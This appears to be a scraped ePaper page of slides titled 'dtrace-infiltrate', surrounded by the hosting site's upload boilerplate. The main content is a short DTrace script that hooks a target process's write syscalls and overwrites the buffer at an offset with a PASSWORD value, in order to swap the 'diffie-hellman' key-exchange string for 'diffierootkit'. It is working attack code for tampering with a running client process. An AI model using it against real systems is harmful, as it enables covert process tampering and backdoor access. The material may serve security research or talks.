22.04.2013 Views

dtrace-infiltrate

dtrace-infiltrate

dtrace-infiltrate

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

dshdbd.d - Client<br />

Then swap out the diffie-hellman string with diffierootkit.<br />

syscall::write*:entry<br />

/NEXTONE == 1 && FINISHED == 0 && pid == $target/<br />

{<br />

NEXTONE = 2; /* no more */<br />

printf("[+] Writing out to 0x%lx\n",arg1);<br />

printf("[+] Current value: %s\n",copyinstr(arg1+26,100));<br />

copyout(PASSWORD,arg1+26,strlen(PASSWORD));<br />

printf("[+] New value: %s\n",copyinstr(arg1+26,100));<br />

self->changethis = 0;<br />

FINISHED = 1;<br />

}

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!